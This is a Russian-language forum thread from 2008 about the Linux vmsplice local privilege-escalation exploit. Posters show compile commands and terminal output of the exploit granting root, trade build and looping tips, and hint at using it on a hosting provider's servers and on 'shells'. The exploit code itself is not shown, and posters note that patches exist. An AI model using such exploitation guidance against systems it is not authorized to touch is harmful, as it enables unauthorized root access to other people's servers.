Страница 1 из 2
Повышение привилегий в vmsplice.
Добавлено: 11 фев 2008 20:16
Under
Сабж:
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=464953
Потратил 5 минут, проверил, работает сука и грустно на душе. 11 килобайтный файлик дает юзеру su без пароля *(а нах это формальность?...).
Код: Выделить всё
under@gentoo ~ $ gcc -I/usr/src/linux/include a.c
a.c:269:2: warning: no newline at end of file
under@gentoo ~ $ chmod a+x a.out
under@gentoo ~ $ ./a.out
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7ded000 .. 0xb7e1f000
[+] root
gentoo ~ # whoami
root
gentoo ~ # exit
exit
under@gentoo ~ $ ls -l a.out
-rwxr-xr-x 1 under under 11856 Фев 11 19:57 a.out
under@gentoo ~ $
Re: Повышение привилегий в vmsplice.
Добавлено: 11 фев 2008 23:12
hex
Гыг. У меня облом на всех машинах. 2.6.18-x. А вроде должно было сработать...
Re: Повышение привилегий в vmsplice.
Добавлено: 11 фев 2008 23:51
Under
Облом на каком этапе? Обрати внимание на сурс эксплоита, может у тебя ../asm в дире сорсов ведра нету? Сделай симлинк на asm-i386 или какой там у тебя профиль, ну или в сурсе пути смени для #include и
#include
. Я с такой прелюдией столкнулся.
Re: Повышение привилегий в vmsplice.
Добавлено: 12 фев 2008 10:39
hatred
Мне "патч" понравился
)) юзает дыру что бы её заткнуть, жестяк
а так, Hex, я запустил так:
while true
do
./a.out # скомпиленный эксплоит
done
в скором времени порутил свою систему... резко закрыл всем доступ по ssh временно кто у меня обитал.
Re: Повышение привилегий в vmsplice.
Добавлено: 12 фев 2008 13:16
hex
[me=hex]задумчиво смотрит в рутовую консоль одного из московских хостеров. С каждой минутой взгляд становится всё задумчивее.[/me]
Re: Повышение привилегий в vmsplice.
Добавлено: 12 фев 2008 20:50
Under
гг, что там увидел? Покажи другим :-]]]]
Сколько уже шелов поломали интересно...
Re: Повышение привилегий в vmsplice.
Добавлено: 13 фев 2008 04:12
Under
Кстати, с gcc -static имеем 500кб файлик без привязки к инклюдам сорса...
Re: Повышение привилегий в vmsplice.
Добавлено: 13 фев 2008 08:54
hatred
На дебиан вчера обновления были доступны уже, на ArchLinux тоже.
Re: Повышение привилегий в vmsplice.
Добавлено: 13 фев 2008 13:20
hex
Under писал(а):
Кстати, с gcc -static имеем 500кб файлик без привязки к инклюдам сорса...
Без привязки к чему?!!
Re: Повышение привилегий в vmsplice.
Добавлено: 13 фев 2008 14:50
michael
Без привязки к этим самым... инклюдам сорса, это gcc -E. Да и трудно PAGE_SIZE что ли выставить?
Re: Повышение привилегий в vmsplice.
Добавлено: 13 фев 2008 16:07
hatred
Ы
момент великого рута российских провайдеров
))
Re: Повышение привилегий в vmsplice.
Добавлено: 13 фев 2008 17:03
hex
michael писал(а):
Без привязки к этим самым... инклюдам сорса, это gcc -E. Да и трудно PAGE_SIZE что ли выставить?
не инклудам сорса, а динамическим библятекам.
$ gcc proof-of-concept.c -o proof-of-concept
$ gcc -static proof-of-concept.c -o proof-of-concept.static
$ ldd proof-of-concept
libc.so.6 => /lib/tls/libc.so.6 (0x4001c000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
$ ldd proof-of-concept.static
not a dynamic executable
В нашем случае вещь ненужная, ибо сервак без libc6 и с ядром 2.6 ещё поискать надо )
Re: Повышение привилегий в vmsplice.
Добавлено: 13 фев 2008 18:32
Under
Тюю, набросились сразу, я не программер, говорю как понимаю :-].
Не удержался, испытал на одном из своих шеллов, поимел:
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0x40001000 .. 0x40033000
[-] vmsplice: Bad address
Re: Повышение привилегий в vmsplice.
Добавлено: 13 фев 2008 18:48
hex
hatred писал(а):
Ы
момент великого рута российских провайдеров
))
Та ни, не такое видали эти провайдеры. Тем более локальный эксплоит. Циски вон 0day не так уж давно поимели и ничего, выдержал инет )
Re: Повышение привилегий в vmsplice.
Добавлено: 13 фев 2008 23:45
hatred
Про киски не слышал